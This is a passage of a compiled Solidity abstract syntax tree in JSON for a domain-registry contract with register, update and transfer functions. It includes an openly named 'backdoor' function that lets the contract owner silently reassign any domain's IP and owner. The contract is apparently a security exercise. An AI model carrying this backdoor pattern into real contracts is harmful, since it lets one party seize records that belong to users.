Upgrade","value":"_info"},"id":1502,"name":"Identifier","src":"441:5:5"}],"id":1503,"name":"FunctionCall","src":"433:14:5"}],"id":1504,"name":"Assignment","src":"419:28:5"}],"id":1505,"name":"ExpressionStatement","src":"419:28:5"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1479,"type":"address","value":"owner"},"id":1506,"name":"Identifier","src":"451:5:5"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":1507,"name":"Identifier","src":"459:3:5"}],"id":1508,"name":"MemberAccess","src":"459:10:5"}],"id":1509,"name":"Assignment","src":"451:18:5"}],"id":1510,"name":"ExpressionStatement","src":"451:18:5"}],"id":1511,"name":"Block","src":"371:102:5"}],"id":1512,"name":"FunctionDefinition","src":"321:152:5"},{"attributes":{"functionSelector":"d554b2f6","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"backdoor","scope":1723,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":1547,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":1513,"name":"ElementaryTypeName","src":"494:6:5"}],"id":1514,"name":"VariableDeclaration","src":"494:21:5"},{"attributes":{"constant":false,"mutability":"mutable","name":"_ip","scope":1547,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":1515,"name":"ElementaryTypeName","src":"517:6:5"}],"id":1516,"name":"VariableDeclaration","src":"517:10:5"},{"attributes":{"constant":false,"mutability":"mutable","name":"_owner","scope":1547,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":1517,"name":"ElementaryTypeName","src":"529:7:5"}],"id":1518,"name":"VariableDeclaration","src":"529:14:5"}],"id":1519,"name":"ParameterList","src":"493:51:5"},{"attributes":{"parameters":[null]},"children":[],"id":1520,"name":"ParameterList","src":"554:0:5"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool) pure","value":"require"},"id":1521,"name":"Identifier","src":"558:7:5"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":1522,"name":"Identifier","src":"566:3:5"}],"id":1523,"name":"MemberAccess","src":"566:10:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1479,"type":"address","value":"owner"},"id":1524,"name":"Identifier","src":"580:5:5"}],"id":1525,"name":"BinaryOperation","src":"566:19:5"}],"id":1526,"name":"FunctionCall","src":"558:28:5"}],"id":1527,"name":"ExpressionStatement","src":"558:28:5"},{"attributes":{"assignments":[1529]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"entry","scope":1546,"stateVariable":false,"storageLocation":"storage","type":"struct IDNS.Entry","visibility":"internal"},"children":[{"attributes":{"name":"Entry","referencedDeclaration":1425,"type":"struct IDNS.Entry"},"id":1528,"name":"UserDefinedTypeName","src":"590:5:5"}],"id":1529,"name":"VariableDeclaration","src":"590:19:5"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1473,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":1530,"name":"Identifier","src":"612:4:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1514,"type":"string memory","value":"_domain"},"id":1531,"name":"Identifier","src":"617:7:5"}],"id":1532,"name":"IndexAccess","src":"612:13:5"}],"id":1533,"name":"VariableDeclarationStatement","src":"590:35:5"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"bytes4"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"ip","referencedDeclaration":1422,"type":"bytes4"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1529,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":1534,"name":"Identifier","src":"629:5:5"}],"id":1536,"name":"MemberAccess","src":"629:8:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1516,"type":"bytes4","value":"_ip"},"id":1537,"name":"Identifier","src":"640:3:5"}],"id":1538,"name":"Assignment","src":"629:14:5"}],"id":1539,"name":"ExpressionStatement","src":"629:14:5"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"address"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1529,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":1540,"name":"Identifier","src":"647:5:5"}],"id":1542,"name":"MemberAccess","src":"647:11:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1518,"type":"address","value":"_owner"},"id":1543,"name":"Identifier","src":"661:6:5"}],"id":1544,"name":"Assignment","src":"647:20:5"}],"id":1545,"name":"ExpressionStatement","src":"647:20:5"}],"id":1546,"name":"Block","src":"554:117:5"}],"id":1547,"name":"FunctionDefinition","src":"476:195:5"},{"attributes":{"baseFunctions":[1435],"functionSelector":"89404978","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"register","scope":1723,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"overrides":[null]},"id":1555,"name":"OverrideSpecifier","src":"752:8:5"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":1610,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":1548,"name":"ElementaryTypeName","src":"692:6:5"}],"id":1549,"name":"VariableDeclaration","src":"692:21:5"},{"attributes":{"constant":false,"mutability":"mutable","name":"_ip","scope":1610,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":1550,"name":"ElementaryTypeName","src":"715:6:5"}],"id":1551,"name":"VariableDeclaration","src":"715:10:5"},{"attributes":{"constant":false,"mutability":"mutable","name":"_owner","scope":1610,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":1552,"name":"ElementaryTypeName","src":"727:7:5"}],"id":1553,"name":"VariableDeclaration","src":"727:14:5"}],"id":1554,"name":"ParameterList","src":"691:51:5"},{"attributes":{"parameters":[null]},"children":[],"id":1556,"name":"ParameterList","src":"761:0:5"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_818369fc27b41970164aeb324b3b097bedf18c9052919a469ce89fd7dce7fa5e","typeString":"literal_string \"Invalid ip.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":1557,"name":"Identifier","src":"765:7:5"},{"attributes":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1551,"type":"bytes4","value":"_ip"},"id":1558,"name":"Identifier","src":"773:3:5"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1559,"name":"Literal","src":"780:1:5"}],"id":1560,"name":"BinaryOperation","src":"773:8:5"},{"attributes":{"hexvalue":"496e76616c69642069702e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Invalid ip.\"","value":"Invalid ip."},"id":1561,"name":"Literal","src":"783:13:5"}],"id":1562,"name":"FunctionCall","src":"765:32:5"}],"id":1563,"name":"ExpressionStatement","src":"765:32:5"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_72301f333e9c6369f582d6ed0c62433b919531b006491d7068fd9dc5b3b5dced","typeString":"literal_string \"Invalid domain.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":1564,"name":"Identifier","src":"801:7:5"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":">","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"length","type":"uint256"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bytes memory","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(bytes storage pointer)"},"children":[{"attributes":{"name":"bytes"},"id":1565,"name":"ElementaryTypeName","src":"809:5:5"}],"id":1566,"name":"ElementaryTypeNameExpression","src":"809:5:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1549,"type":"string memory","value":"_domain"},"id":1567,"name":"Identifier","src":"815:7:5"}],"id":1568,"name":"FunctionCall","src":"809:14:5"}],"id":1569,"name":"MemberAccess","src":"809:21:5"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1570,"name":"Literal","src":"833:1:5"}],"id":1571,"name":"BinaryOperation","src":"809:25:5"},{"attributes":{"hexvalue":"496e76616c696420646f6d61696e2e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Invalid domain.\"","value":"Invalid domain."},"id":1572,"name":"Literal","src":"836:17:5"}],"id":1573,"name":"FunctionCall","src":"801:53:5"}],"id":1574,"name":"ExpressionStatement","src":"801:53:5"},{"attributes":{"assignments":[1576]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"entry","scope":1609,"stateVariable":false,"storageLocation":"storage","type":"struct IDNS.Entry","visibility":"internal"},"children":[{"attributes":{"name":"Entry","referencedDeclaration":1425,"type":"struct IDNS.Entry"},"id":1575,"name":"UserDefinedTypeName","src":"859:5:5"}],"id":1576,"name":"VariableDeclaration","src":"859:19:5"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1473,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":1577,"name":"Identifier","src":"881:4:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1549,"type":"string memory","value":"_domain"},"id":1578,"name":"Identifier","src":"886:7:5"}],"id":1579,"name":"IndexAccess","src":"881:13:5"}],"id":1580,"name":"VariableDeclarationStatement","src":"859:35:5"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_cf4795eecd9c709705bcc58cb66aa65b7544ae178f3f46e39cf23a0a32f659e8","typeString":"literal_string \"Domain already taken.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":1581,"name":"Identifier","src":"898:7:5"},{"attributes":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"&&","type":"bool"},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"ip","referencedDeclaration":1422,"type":"bytes4"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1576,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":1582,"name":"Identifier","src":"906:5:5"}],"id":1583,"name":"MemberAccess","src":"906:8:5"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1584,"name":"Literal","src":"918:1:5"}],"id":1585,"name":"BinaryOperation","src":"906:13:5"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1576,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":1586,"name":"Identifier","src":"923:5:5"}],"id":1587,"name":"MemberAccess","src":"923:11:5"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address payable","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":1588,"name":"ElementaryTypeName","src":"938:7:5"}],"id":1589,"name":"ElementaryTypeNameExpression","src":"938:7:5"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1590,"name":"Literal","src":"946:1:5"}],"id":1591,"name":"FunctionCall","src":"938:10:5"}],"id":1592,"name":"BinaryOperation","src":"923:25:5"}],"id":1593,"name":"BinaryOperation","src":"906:42:5"},{"attributes":{"hexvalue":"446f6d61696e20616c72656164792074616b656e2e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Domain already taken.\"","value":"Domain already taken."},"id":1594,"name":"Literal","src":"950:23:5"}],"id":1595,"name":"FunctionCall","src":"898:76:5"}],"id":1596,"name":"ExpressionStatement","src":"898:76:5"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"bytes4"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"ip","referencedDeclaration":1422,"type":"bytes4"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1576,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":1597,"name":"Identifier","src":"979:5:5"}],"id":1599,"name":"MemberAccess","src":"979:8:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1551,"type":"bytes4","value":"_ip"},"id":1600,"name":"Identifier","src":"990:3:5"}],"id":1601,"name":"Assignment","src":"979:14:5"}],"id":1602,"name":"ExpressionStatement","src":"979:14:5"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"address"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1576,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":1603,"name":"Identifier","src":"997:5:5"}],"id":1605,"name":"MemberAccess","src":"997:11:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1553,"type":"address","value":"_owner"},"id":1606,"name":"Identifier","src":"1011:6:5"}],"id":1607,"name":"Assignment","src":"997:20:5"}],"id":1608,"name":"ExpressionStatement","src":"997:20:5"}],"id":1609,"name":"Block","src":"761:260:5"}],"id":1610,"name":"FunctionDefinition","src":"674:347:5"},{"attributes":{"baseFunctions":[1443],"functionSelector":"f7a46696","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"update","scope":1723,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"overrides":[null]},"id":1616,"name":"OverrideSpecifier","src":"1084:8:5"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":1654,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":1611,"name":"ElementaryTypeName","src":"1040:6:5"}],"id":1612,"name":"VariableDeclaration","src":"1040:21:5"},{"attributes":{"constant":false,"mutability":"mutable","name":"_ip","scope":1654,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":1613,"name":"ElementaryTypeName","src":"1063:6:5"}],"id":1614,"name":"VariableDeclaration","src":"1063:10:5"}],"id":1615,"name":"ParameterList","src":"1039:35:5"},{"attributes":{"parameters":[null]},"children":[],"id":1617,"name":"ParameterList","src":"1093:0:5"},{"children":[{"attributes":{"assignments":[1619]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"entry","scope":1653,"stateVariable":false,"storageLocation":"storage","type":"struct IDNS.Entry","visibility":"internal"},"children":[{"attributes":{"name":"Entry","referencedDeclaration":1425,"type":"struct IDNS.Entry"},"id":1618,"name":"UserDefinedTypeName","src":"1097:5:5"}],"id":1619,"name":"VariableDeclaration","src":"1097:19:5"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1473,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":1620,"name":"Identifier","src":"1119:4:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1612,"type":"string memory","value":"_domain"},"id":1621,"name":"Identifier","src":"1124:7:5"}],"id":1622,"name":"IndexAccess","src":"1119:13:5"}],"id":1623,"name":"VariableDeclarationStatement","src":"1097:35:5"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d52422f93f176965217b2b845cca9ccdc0a4d4ada13dd3778313a8d827b58963","typeString":"literal_string \"Not the owner.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":1624,"name":"Identifier","src":"1137:7:5"},{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"type":"bool"},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"&&","type":"bool"},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":1625,"name":"Identifier","src":"1150:3:5"}],"id":1626,"name":"MemberAccess","src":"1150:10:5"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"origin","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-26,"type":"tx","value":"tx"},"id":1627,"name":"Identifier","src":"1164:2:5"}],"id":1628,"name":"MemberAccess","src":"1164:9:5"}],"id":1629,"name":"BinaryOperation","src":"1150:23:5"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1619,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":1630,"name":"Identifier","src":"1177:5:5"}],"id":1631,"name":"MemberAccess","src":"1177:11:5"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":1632,"name":"Identifier","src":"1192:3:5"}],"id":1633,"name":"MemberAccess","src":"1192:10:5"}],"id":1634,"name":"BinaryOperation","src":"1177:25:5"}],"id":1635,"name":"BinaryOperation","src":"1150:52:5"}],"id":1636,"name":"TupleExpression","src":"1149:54:5"},{"attributes":{"hexvalue":"4e6f7420746865206f776e65722e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Not the owner.\"","value":"Not the owner."},"id":1637,"name":"Literal","src":"1208:16:5"}],"id":1638,"name":"FunctionCall","src":"1137:91:5"}],"id":1639,"name":"ExpressionStatement","src":"1137:91:5"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_818369fc27b41970164aeb324b3b097bedf18c9052919a469ce89fd7dce7fa5e","typeString":"literal_string \"Invalid ip.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":1640,"name":"Identifier","src":"1233:7:5"},{"attributes":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1614,"type":"bytes4","value":"_ip"},"id":1641,"name":"Identifier","src":"1241:3:5"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1642,"name":"Literal","src":"1248:1:5"}],"id":1643,"name":"BinaryOperation","src":"1241:8:5"},{"attributes":{"hexvalue":"496e76616c69642069702e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Invalid ip.\"","value":"Invalid ip."},"id":1644,"name":"Literal","src":"1251:13:5"}],"id":1645,"name":"FunctionCall","src":"1233:32:5"}],"id":1646,"name":"ExpressionStatement","src":"1233:32:5"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"bytes4"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"ip","referencedDeclaration":1422,"type":"bytes4"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1619,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":1647,"name":"Identifier","src":"1269:5:5"}],"id":1649,"name":"MemberAccess","src":"1269:8:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1614,"type":"bytes4","value":"_ip"},"id":1650,"name":"Identifier","src":"1280:3:5"}],"id":1651,"name":"Assignment","src":"1269:14:5"}],"id":1652,"name":"ExpressionStatement","src":"1269:14:5"}],"id":1653,"name":"Block","src":"1093:194:5"}],"id":1654,"name":"FunctionDefinition","src":"1024:263:5"},{"attributes":{"baseFunctions":[1451],"functionSelector":"fbf58b3e","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"transfer","scope":1723,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"overrides":[null]},"id":1660,"name":"OverrideSpecifier","src":"1356:8:5"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":1701,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":1655,"name":"ElementaryTypeName","src":"1308:6:5"}],"id":1656,"name":"VariableDeclaration","src":"1308:21:5"},{"attributes":{"constant":false,"mutability":"mutable","name":"_owner","scope":1701,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":1657,"name":"ElementaryTypeName","src":"1331:7:5"}],"id":1658,"name":"VariableDeclaration","src":"1331:14:5"}],"id":1659,"name":"ParameterList","src":"1307:39:5"},{"attributes":{"parameters":[null]},"children":[],"id":1661,"name":"ParameterList","src":"1365:0:5"},{"children":[{"attributes":{"assignments":[1663]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"entry","scope":1700,"stateVariable":false,"storageLocation":"storage","type":"struct IDNS.Entry","visibility":"internal"},"children":[{"attributes":{"name":"Entry","referencedDeclaration":1425,"type":"struct IDNS.Entry"},"id":1662,"name":"UserDefinedTypeName","src":"1369:5:5"}],"id":1663,"name":"VariableDeclaration","src":"1369:19:5"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1473,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":1664,"name":"Identifier","src":"1391:4:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1656,"type":"string memory","value":"_domain"},"id":1665,"name":"Identifier","src":"1396:7:5"}],"id":1666,"name":"IndexAccess","src":"1391:13:5"}],"id":1667,"name":"VariableDeclarationStatement","src":"1369:35:5"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d52422f93f176965217b2b845cca9ccdc0a4d4ada13dd3778313a8d827b58963","typeString":"literal_string \"Not the owner.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":1668,"name":"Identifier","src":"1576:7:5"},{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"type":"bool"},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"&&","type":"bool"},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":1669,"name":"Identifier","src":"1589:3:5"}],"id":1670,"name":"MemberAccess","src":"1589:10:5"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"origin","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-26,"type":"tx","value":"tx"},"id":1671,"name":"Identifier","src":"1603:2:5"}],"id":1672,"name":"MemberAccess","src":"1603:9:5"}],"id":1673,"name":"BinaryOperation","src":"1589:23:5"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1663,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":1674,"name":"Identifier","src":"1616:5:5"}],"id":1675,"name":"MemberAccess","src":"1616:11:5"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address 